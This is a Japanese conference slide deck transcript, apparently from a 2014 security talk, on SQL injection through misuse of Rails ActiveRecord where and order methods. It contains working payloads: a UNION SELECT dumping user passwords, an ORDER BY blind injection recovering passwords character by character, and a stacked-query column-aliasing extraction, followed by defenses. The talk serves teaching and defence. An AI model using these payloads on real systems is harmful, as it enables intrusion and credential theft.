• Save
Rails SQL Injection Examplesの紹介
Upcoming SlideShare
Loading in...5
×
 

Rails SQL Injection Examplesの紹介

on

  • 9,206 views

 

Statistics

Views

Total Views
9,206
Views on SlideShare
8,733
Embed Views
473

Actions

Likes
32
Downloads
0
Comments
0

5 Embeds 473

https://twitter.com 450
https://cybozulive.com 15
http://b.hatena.ne.jp 6
https://tweetdeck.twitter.com 1
https://www.chatwork.com 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Rails SQL Injection Examplesの紹介 Rails SQL Injection Examplesの紹介 Presentation Transcript

  • Rails SQL Injection Examplesの紹介 2014年6月11日 徳丸 浩
  • Rails SQL Injection Examplesとは Copyright © 2010-2014 HASH Consulting Corp. 2
  • Rails SQL Injection Examplesとは 3http://rails-sqli.org/ より引用 Ruby on Railsの ActiveRecordのメソッド やオプションの指定方法 の誤りによるSQLインジェ クションのサンプル集
  • Example1:whereメソッド 4http://rails-sqli.org/ より引用
  • whereメソッドの用途と注意点 • SQLのWHERE句を「生で」指定できる • 文字列連結でWHERE句を組み立てると、普通 にSQLインジェクション脆弱となる • 正しくはプレイスホルダを使う(後述) • 前述の例は認証回避の例だが…飽きたw Copyright © 2010-2014 HASH Consulting Corp. 5
  • 脆弱性のあるアプリケーション Copyright © 2010-2014 HASH Consulting Corp. 6 @books = Book.where( "publish = '#{params[:publish]}' AND price >= #{params[:price]}") 山田 祥寛 (著) Ruby on Rails 4 アプリケーションプログラミング 技術評論社 (2014/4/11) に脆弱性を加えましたw ※元本に脆弱性があるわけではありません
  • UNION SELECTにより個人情報を窃取 Copyright © 2010-2014 HASH Consulting Corp. 7 priceに以下を入れる 1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users -- SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >= 1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at, updated_at FROM users --)
  • 対策 プレースホルダ 8Ruby on Rails 4 アプリケーションプログラミング、山田 祥寛より引用
  • Example2: orderメソッド 9http://rails-sqli.org/ より引用
  • ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って? • ORDER BY の後には式が書ける • 以下のSQL文は算数と国語の点数の合計でソートす る – SELECT * FROM 成績 ORDER BY (算数+国語) • 以下の式は、password列の一文字目が s なら 0 そうでなければ 1 を返す – CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 ELSE 1 END • よって、このORDER BYは、「パスワードの一文字目 が s」の利用者を先頭に集めるソート…だが、しかし Copyright © 2010-2014 HASH Consulting Corp. 10
  • どういうページを想定しているのか? Copyright © 2010-2014 HASH Consulting Corp. 11 こういうページですか? わかりません (>_<) これでは、 元々が個人情 報漏えいだw
  • とは言え、やってみた Copyright © 2010-2014 HASH Consulting Corp. 12 # SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(passwd, 1, 1) WHEN 'a' THEN 0 else 1 END) asc; id | userid | passwd | tel | mail ----+-----------+--------+--------------+--------------------- 1 | tanaka | abcd | 03-1234-5678 | tanaka@example.jp 2 | yamada | aaaa | 06-2345-6789 | yamada@example.jp 3 | ockeghem | dcba | 045-678-9012 | ockeghem@example.jp 4 | takahashi | cdcd | 099-123-4567 | takahashi@exmaple.jp パスワードの一文字目が「a」は、実際には2件該当している http://ror4:3000/users?order=(C ASE+SUBSTR(passwd,1,1)+WH EN+'a'+THEN+0+else+1+END) パスワードの一文字目が「a」のも のを先頭に持ってきたが、何件該 当するかが分からない。0件の可 能性もある
  • 課題は二つ • 個人情報の一覧ページがあり、ソート順を指定で きるという想定が現実的でない • 特定のソート条件は指定できるが、該当件数が わからない Copyright © 2010-2014 HASH Consulting Corp. 13
  • 改良1: 別の一覧と個人情報をマップする Copyright © 2010-2014 HASH Consulting Corp. 14
  • 書籍の一覧と個人情報をマップする Copyright © 2010-2014 HASH Consulting Corp. 15 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by passwd; id | title | userid | passwd ----+------------------------------------+-----------+------- 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 4 | 書き込み式SQLのドリル | takahashi | cdcd 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
  • ORDER BYの副問い合わせ Copyright © 2010-2014 HASH Consulting Corp. 16 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case when userid='ockeghem' then 0 else 1 end from users where books.id=users.id); (select case when userid='ockeghem' then 0 -- userid='ockeghem' を先頭に else 1 -- その他は後ろに end from users where books.id=users.id) ORDER BY の副問い合わせ
  • userid=ockeghemと対応する行を見つける Copyright © 2010-2014 HASH Consulting Corp. 17 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case when userid='ockeghem' then 0 else 1 end from users where books.id=users.id); id | title | userid | passwd ----+------------------------------------+-----------+-------- 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 4 | 書き込み式SQLのドリル | takahashi | cdcd 先頭行がuserid=ockeghemに対応
  • 改良2: セパレータとなる行を挟む Copyright © 2010-2014 HASH Consulting Corp. 18
  • ORDER BYの副問い合わせ Copyright © 2010-2014 HASH Consulting Corp. 19 =# SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2 end from users where books.id=users.id); (select case userid when 'tanaka' then 0 -- 'tanaka' を先頭に when 'ockeghem' then 1 -- 'ockeghem' はセパレータ else 2 -- その他は後ろに end from users where books.id=users.id) ※セパレータがないと、'tanaka'が存在しない場合を区別できない ORDER BY の副問い合わせ
  • userid=tanakaと対応する行を見つける Copyright © 2010-2014 HASH Consulting Corp. 20 wasbook=# SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2 end from users where books.id=users.id); id | title | userid | passwd ----+------------------------------------+-----------+-------- 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 4 | 書き込み式SQLのドリル | takahashi | cdcd userid=ockeghemをセパレータに
  • デモを見やすくするために書籍タイトルにユーザ名を併記 Copyright © 2010-2014 HASH Consulting Corp. 21 ※デモを見やすくするための表示であり、「改ざん」をするという想定ではありません 辞書攻撃で発 見したユーザ
  • パスワードに対する辞書攻撃(1) Copyright © 2010-2014 HASH Consulting Corp. 22 SELECT "books".* FROM "books" ORDER BY (select case when userid='ockeghem' then 1 when passwd='abcd' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when passwd='abcd' then 0 -- passwd='abcd' を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに tanakaのパスワードがabcdと判明
  • パスワードに対する辞書攻撃(2) Copyright © 2010-2014 HASH Consulting Corp. 23 SELECT "books".* FROM "books" ORDER BY (select case when userid='ockeghem' then 1 when passwd='bcda' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when passwd='bcda' then 0 -- passwd='bcda' を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに passwd=bcda は存在しないことが判明
  • 一文字ずつ試行するブラインドSQL インジェクション Copyright © 2010-2014 HASH Consulting Corp. 24
  • パスワードの1文字目が a の利用者を探す Copyright © 2010-2014 HASH Consulting Corp. 25 select id, title from books order by (select case when userid='ockeghem' then 1 when SUBSTR(passwd,1,1)='a' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when SUBSTR(passwd,1,1)='a' then 0 –- 1文字目が a を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに tanakaとyamadaのパスワード 1文字目がaと判明
  • 1回の試行で1種類の文字チェック しかできないのは不効率だが… Copyright © 2010-2014 HASH Consulting Corp. 26
  • セパレータを増やせば、一度に多く の文字をチェック可能 Copyright © 2010-2014 HASH Consulting Corp. 27
  • aaaa, bbbb, cccc, ddddの4ユーザを登録 Copyright © 2010-2014 HASH Consulting Corp. 28 (select case userid when 'aaaa' then 0 when 'bbbb' then 1 when 'cccc' then 2 when 'dddd' then 3 else 4 end from users where books.id=users.id)
  • パスワードの一文字目をまとめてクエリ Copyright © 2010-2014 HASH Consulting Corp. 29 (SELECT CASE WHEN userid='aaaa' THEN 1 WHEN userid='bbbb' THEN 3 WHEN userid='cccc' THEN 5 WHEN userid='dddd' THEN 7 WHEN SUBSTR(passwd,1,1)='a' THEN 0 WHEN SUBSTR(passwd,1,1)='b' THEN 2 WHEN SUBSTR(passwd,1,1)='c' THEN 4 WHEN SUBSTR(passwd,1,1)='d' THEN 6 ELSE 99 END FROM users WHERE books.id=users.id) ※ 簡単化のためパスワードは a~d 4文字で構成とする
  • パスワードの1文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 30 tanakaとyamadaのパスワード 1文字目がaと判明 takahashiのパスワード1文字目がcと判明 ockeghemのパスワード1文字目がdと判明 tanaka a*** yamada a*** takahashi c*** ockeghem d***
  • パスワードの2文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 31 takahashiのパスワード2文字目がdと判明 ockeghemのパスワード2文字目がcと判明 tanaka ab** yamada aa** takahashi cd** ockeghem dc** tanakaのパスワード2文字目がbと判明 yamadaのパスワード2文字目がaと判明
  • パスワードの3文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 32 tanakaとtakahashiのパスワード 3文字目がcと判明 yamadaのパスワード3文字目がaと判明 ockeghemのパスワード3文字目がbと判明 tanaka abc* yamada aaa* takahashi cdc* ockeghem dcb*
  • パスワードの4文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 33 ockeghemとyamadaのパスワ ード1文字目がaと判明 tanaka abcd yamada aaaa takahashi cdcd ockeghem dcba tamalaとtakahashiのパスワー ド4文字目が d と判明
  • もっと簡単な方法はないのか? Copyright © 2010-2014 HASH Consulting Corp. 34
  • UNION(not ONION) は? Copyright © 2010-2014 HASH Consulting Corp. 35
  • ORDER BYの後にUNIONは使えない Copyright © 2010-2014 HASH Consulting Corp. 36 PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラー LINE 1: SELECT "books".* FROM "books" ORDER BY title UNION SELECT ... ^ : SELECT "books".* FROM "books" ORDER BY title UNION SELECT * FROM users -- asc
  • PostgreSQLの場合、複文は使え ないか? Copyright © 2010-2014 HASH Consulting Corp. 37
  • やはりエラーになる Copyright © 2010-2014 HASH Consulting Corp. 38 missing attribute: isbn SELECT "books".* FROM "books" ORDER BY title;SELECT * FROM users -- asc
  • しかし、missing attribute: isbn なら、別名として与えてやれば… Copyright © 2010-2014 HASH Consulting Corp. 39
  • ユーザー情報の窃取に成功 Copyright © 2010-2014 HASH Consulting Corp. 40 SELECT "books".* FROM "books" ORDER BY title;SELECT id,userid AS isbn,passwd AS title,1 AS price,mail AS publish,null AS published,false AS cd FROM users-- asc
  • 対策 Copyright © 2010-2014 HASH Consulting Corp. 42
  • 表名、列名によるSQLインジェクションの対策 • 以下のいずれか、あるいは複数を実施 • 列名をクォート&エスケープする • 列名が許可されたものかどうかを検査する – いわゆるホワイトリスト検査 • 列を数字で指定して、内部で列名に変換する Copyright © 2010-2014 HASH Consulting Corp. 43
  • 列名をシンボルに変換すると、クォート&エスケープされるが Copyright © 2010-2014 HASH Consulting Corp. 44 SELECT "books".* FROM "books" ORDER BY "books"."title""a" ASC def index p = params[:order].to_sym @books = p ? Book.order(p) : Book.all end
  • ユーザ入力を無条件にシンボルに変換するのはまずい • シンボルはGCで回収されない • 外部から任意のシンボルを作れる場合、非常に多数のシンボルを作ら れるとメモリを過度に消費してしまう • 類似の例にCVE-2014-0082がある • 列名のホワイトリスト検査と併用ならば可(シンボル数が抑制される) Copyright © 2010-2014 HASH Consulting Corp. 45 http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-001439.html より引用
  • まとめ • Ruby on RailsのActiveRecordの使い方に起因するSQLイン ジェクションを紹介 • ActiveRecordのメソッドには、与えられた文字列が「そのま ま」SQL文に展開されるものがある • 値パラメータについてはプレースホルダを活用 • 表名、列名、キーワードについては以下のいずれかを行う – 表名、列名、キーワードのホワイトリスト検査 – 外部では番号で指定して、内部で表名、列名、キーワード等に変換 する • SQL識別子のクォート&エスケープをさせる目的で、Rubyの 識別子を積極的に活用することの是非については有識者の ご意見をお伺いしたいです Copyright © 2010-2014 HASH Consulting Corp. 46